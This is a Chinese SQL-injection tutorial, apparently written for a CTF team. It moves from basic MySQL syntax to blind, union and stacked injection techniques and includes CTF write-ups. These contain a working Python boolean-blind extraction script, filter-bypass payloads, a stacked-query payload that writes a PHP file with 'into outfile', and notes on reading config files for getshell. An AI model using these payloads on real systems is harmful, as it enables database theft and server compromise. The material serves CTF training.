为了让队里的师傅掌握基本的SQL语法,学习盲注的方法。
在学习web安全之前,建议先去学web开发 XD
SQL注入分类
- 有回显
a. 联合查询注入 union
b. 报错注入 error - 无回显
a. 基于时间注入 time
b. 基于布尔注入 boolean - 堆叠注入 stuck
SQL语法
查询
最常用的,从某个表中,查询数据:1
2
3
4
5
6SELECT column_name,column_name
FROM table_name;
SELECT * FROM `websites` WHERE id=1; // 分号是语句分隔符,非必须
select * from test.websites where country='CN';
select name from websites where alexa < 20; // alexa排名小于20的,站点名称。
更朴实的查询
类似于其他语言的print,select就是sql语句中的print,但你确认不了某个函数或者语法的输出时,不妨直接select。1
2
3select 8*8;
select version(); // 获取当前数据库版本
select left(version(),5); // 获取数据库版本的前五个字节
在命令行中查看数据库和数据
这些命令,也是开发者在拿到一个数据库服务后会做的事情。1
2
3
4
5
6show databases; // 查看所有数据库
use test; // 进入test这个数据库
show tables; // 查看这个库里面的所有表
desc websites; // 查看表的结构
show create table websites; //查看建这个表用到的语句,其实也是看表的结构
select * from websites limit 3; // 查看前三条数据
逻辑条件、比较(算数运算符 > < =,逻辑运算符 与 或 非)
从 “Websites” 表中选取国家为 “CN” 且alexa排名大于 “50” 的所有网站。1
2
3
4
5
6
7
8
9
10
11SELECT * FROM Websites WHERE country='CN' AND alexa > 50;
select 1>0 and 2<=0; // select 1>0 && 2<=0;
select 1>0 or 2<=0; // select 1>0 || 2<=0;
select name from websites where (id>2 and alexa > 50) //可以用括号选择优先级。
select * from websites where id != 1;
select * from websites where id <> 1;
select * from websites where not(id = 1); // 逻辑 非
select * from websites where trUe;
select * from websites where falSe;
where子句,你可以理解成:MySQL针对 表 中的每行数据,都会去进行一次判断,如果为true 就把他输出出来。
limit、order by
limit可以用来限制查询结果输出的行数,order by用来对查询结果排序。请注意,有特殊的order写法,可以判断前面的列数。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15SELECT column_name,column_name
FROM table_name
ORDER BY column_name,column_name ASC|DESC;
SELECT * FROM Websites ORDER BY alexa; // 按 alexa 列升序排列。
SELECT * FROM Websites ORDER BY country, alexa; // 按 country 列升序排列,相同则按alexa列排列数据。 还可以通过asc、desc改变升降序
# 特别注意!
SELECT id, name FROM Websites ORDER BY 1; // 按 第一列 排序
SELECT id, name FROM Websites ORDER BY 2; // 按 第二列 排序
SELECT id, name FROM Websites ORDER BY 100; // 按 第一百列 排序,报错!
可以通过这个方法,推测前面查询了几列
select * from Websites where id >=1 limit 2; //控制输出结果为(第零条开始),一共两条。
select * from Websites where id >=1 limit 1,2; //控制输出结果为第一条开始,一共两条。要注意写代码中,数组都是从0开始的。
对查询结果处理
除了在where子句中,我们也可以对查询的字段做处理1
2
3select id, name, alexa from websites;
select id, name, 2*alexa from websites;
select id, name, 2*alexa, 'aaaaa' from websites;
sql语言中的函数
1 | select version(); |
从字符和ascii开始
任何语言,都逃不掉学习ascii码和字符互相转换的方法。XD1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16select ascii('a');
select ord('a');
select char(97);
select ascii('a')=0x61; // 97
select hex(1234); // 转成十六进制
select hex('abcd'); // hex编码
select unhex(61626364);
SELECT unhex('61626364')
试试下面的语句,会发现一些问题。SQL语句是不区分大小写的。
select 'a' = 'A';
select binary('a') = binary('A');
SELECT * FROM TABLE NAME WHERE name='mimvp.com';
SELECT * FROM TABLE NAME WHERE name='MiMVP.com'; // 结果相同
SELECT * FROM TABLE NAME WHERE BINARY name='MiMVP.com'; // 解决方法,加入binary关键字
binary是MySQL一种数据类型。
字符串截取
一共有五种方式可以截取字符串,同时还有一个变形1
2
3
4
5
6
7
8
9
10select substr('abcd',2,1); // 从第二个字符开始,截一个
select substring('abcd',2,1);
select mid('abcd',2,1);
select left('abcd',2); // 截字符串前两个字节
select right('abcd',2); // 截字符串后两个字节
select left('abcd',2)='ab';
select substr('abcd' from 1 for 2); //这就是变形,注意没有用到逗号
select substring('abcd' from 1 for 2); //mid也行
算数运算符
首先是最基本的运算1
select 8+8; // - * / % ^ 模和异或 & |
算术运算符-比较
有无数种方式来判断两个 值 是否相等。看看你能想到比我更多的吗hh
// 数字和数字,输出的结果为1/true,即为真。0/false,为假。或者适用于多个元素的一些写法1
2
3
4
5
6
7
8
9select 1=0;
select 1!=0; // <>
select 1<=0;
select 1^1; // 异或,自己异或自己为0,1^2 不为0
select 1^1=0; // 异或,自己异或自己为0,1^2 不为0
select 1-1; // 相减,为0即为false
select 5 between 2 and 10;
select * from websites where id between 2 and 4; // between
select * from websites where id in (1,4,5);
// 字符或字符串,非常多的比较方法1
2
3
4
5
6
7select 'a' = 'a';
select ascii('a') = 97; // 转换为数字进行比较
select 'abcdefgh' like 'abc%'; // abcedfgh的开头为abc,%替换任意数量的任意字符
select 'abcdefgh' like '%abc%'; // 字符串里是否含abc
select 'abcd' like 'abc_'; // 字符串是否是 abcx
select 'abcd' like '_abc_'; // 字符串是否是 xabcx
select * from websites where url LIKE 'https%';
学习一下like子句,类似模糊搜索。通配符 % ,仅代替一个字符的 _ 。
同时在数据库中,你可以用 十六进制代替数字和字符串(info -> 0x696e666f)
算术运算符-比较2
还有正则表达式。
regexp:正则表达式匹配
SELECT * FROM Websites WHERE name REGEXP ‘^[GFs]’;
以上两部分都可以参考菜鸟教程:https://www.runoob.com/sql/sql-wildcards.html
其他函数
SQL语法要学的不剩太多了。1
2
3select len('abcdefg');
select group_concat(name) from websites; // 多行变一行
select concat("a","b","c");
联合查询
可以将两个select的查询结果,拼接在一起。注意用union select ,两次查询结果列数不相同会报错。1
2
3SELECT id, name, alexa FROM `websites` where id <3 union select 1,2,3;
SELECT id, name, alexa FROM `websites` where id <3 union select 1,2;
注释
SQL中注释的方式很多,他们常用来绕过不能使用空格的情况。1
2
3
4
5
6select 123; #hi
select 123; -- 1234 注意,--后面必须有一个空白字符!
select/*hi*/123; //hi
/*!select*/1234; // 神奇的写法!其实是用来根据不同版本决定执行什么命令
select sleep/**/(5);
等待
等待也有两种形式1
2select sleep(5);
select BENCHMARK(1000000,ENCODE('hello','goodbye'));
特殊的库
information_schema,里面的三个重要的table。1
2
3SELECT `SCHEMA_NAME` FROM `SCHEMATA`;
SELECT `TABLE_NAME` FROM `TABLES` where table_schema="test";
SELECT COLUMN_NAME FROM `COLUMNS` WHERE `TABLE_NAME` = 'websites';
判断
1 | select if(1,1,0); |
SQL注入
过滤输入
- 输入中存在关键字union,立刻终止执行
- 输入中存在关键字union,会将其置空(双写绕过) uniunionOn select 1,2,3;
- 输入中存在关键字union,会将其替换成别的 xxxx
更好的payload(使用group_concat)
1 | 查库名 |
select语句结构
1 | select |
注入步骤
- 猜测sql语句结构,尝试插入逻辑语句来闭合语句,探测各种状态(成功、报错、waf)
- 探测waf内容(用字典fuzz)
- 尝试联合查询(union select)报错注入(Error based)
- 是否可以时间盲注/布尔盲注?
- 选择注出数据 user()/ @@user / database()
- 完成payload user()->select flag from flag
SQLi-lab(SQL注入练习平台) buuoj上就有
https://github.com/Audi-1/sqli-labs
结合”SQL注入天书”,用来入门sql注入:https://github.com/lcamry/sqli-labs
SQL注入刷题 buuoj
【布尔盲注/5.7新特性/无列名盲注】[GYCTF2020]Ezsqli
首先观察到
1 -> nu1l
2 -> V&N
2-1 -> nu1l
推测是id=x,使用逻辑语句闭合SQL语句。
id=1^(ascii(substr(database(),1,1))>95)
// 因为过滤了or,所以我们用不了information_schema,这种情况下,我们通常考虑注本表里的数据,或者利用mysql5.7的新特性。
id=1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),1,1))>95); // 得到了 表名
MySQL5.7中,sys库中有很多表存有table_name。查询表数据结构(有很多,基本都是从MySQL5.7开始的新特性)
● information_schema
● sys.schema_auto_increment_columns
● sys.schema_table_statistics_with_buffer
● sys.schema_index_statistics
https://dev.mysql.com/doc/refman/8.0/en/sys-schema-index-statistics.html
● mysql.innodb_table_stats
https://dev.mysql.com/doc/refman/5.6/en/innodb-persistent-stats.html
id=1^(ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),1,1))>95) //靠猜测,得到列名是flag
// 或者选择使用无列名注入,分为两步,首先判断里面的列数(2列),进而逐渐注出数据
(select 1,1) > (select from websites)
(select 1,1,1) > (select from websites)
id=0^((1,’g’)>(select * from f1ag_1s_h3r3_hhhhh))
网上找到了一个题解。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43# coding:utf-8
import requests
import time
url = 'http://14b858fa-e701-47da-a11a-304ef60eb42d.node3.buuoj.cn/'
def str_hex(s): #十六进制转换 fl ==> 0x666c
res = ''
for i in s:
res += hex(ord(i)).replace('0x','')
res = '0x' + res
return res
res = ''
for i in range(1,200):
print(i)
left = 31
right = 127
mid = left + ((right - left)>>1)
while left < right:
#payload = '1^(ascii(substr(database(),{},1))>{})'.format(i,mid) #爆库
#payload = '1^(ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys),{},1))>{})'.format(i,mid) #爆表
#payload = '1^(ascii(substr((select group_concat(flag) from f1ag_1s_h3r3_hhhhh),{},1))>{})'.format(i,mid) #猜测f1ag_1s_h3r3_hhhhh中的列名为flag
key = (str_hex(res+chr(mid)))
payload = "1 ^ ( (select 1,{}) > (select * from f1ag_1s_h3r3_hhhhh))".format(key)
data = {
'id':payload
}
r = requests.post(url = url, data = data)
if r.status_code == 429:
print('too fast')
time.sleep(2)
if 'Nu1L' in r.text:
left = mid + 1
elif 'Nu1L' not in r.text:
right = mid
mid = left + ((right-left)>>1)
if mid == 31 or mid == 127:
break
#res += chr(mid) #爆表
res += chr(mid-1) #爆flag
print(str(mid),res)
#give_grandpa_pa_pa_pa
#news,users,f1ag_1s_h3r3_hhhhh,users233333333333333
#flag{8ebdb3ac-1d0e-47f3-82d5-ef5b4d20fe70}
1 | import requests |
堆叠注入
【堆叠注入】QWB2019 - 随便注
buuoj上有环境
1. 查看数据库结构等
1 | show databases; |
2. handler
1 | handler被设计直接访问存储引擎(访问更快) |
3. set变量
1 | set @sql="select * from flag"; # 转为了字符串 |
4. 操作库/表
此操作不可逆,谨慎使用。
好的出题人可能会设置当前用户,alter/rename/drop的权限。1
2
3
4
5
6rename table `words` to `wordsxxx`;
rename table `1919810931114514` to `words`;
alter table `words` change `flag` `id` varchar(100) character utf8_general_ci NOT NULL;# 修改表的结构
或者
alter table `words` add(id int default 1);
5. 本题的其他做法
写webshell1
2
3
4
5
6
7
8
9import requests
payload = "select '<?php phpinfo();' into outfile '/var/www/html/sissel123.php'"
output = '''
set @sql=0x{};
PREPARE gogo FROM @sql;
EXECUTE gogo;
'''.format(payload.encode('hex')).replace('\n','')
print output
6. 使用存储过程
1 | create procedure funct(out string text(1024)) |
补充
- 猜测列数
order by、union select - 报错注入
https://blog.csdn.net/like98k/article/details/79646512 - 无列名注入(以比较、join的思路)or informa
- 8.0新特性(TABLE t;)
http://wh1sper.com/roarctf-2020/ - 除了information_schema以外,还有哪些表有库表列。(5.7新特性)
- 二次注入(做完对应题之后,考虑为什么有这个洞)
多搜搜
补充2
- md5注入
https://blog.csdn.net/greyfreedom/article/details/45846137 - 奇怪的绕过方法
sleep/**/(5) - sql注入 getshell(读写文件)
a. into outfile
b. log
c. phpmyadmin cve
load_file(/var/www/html/config.php)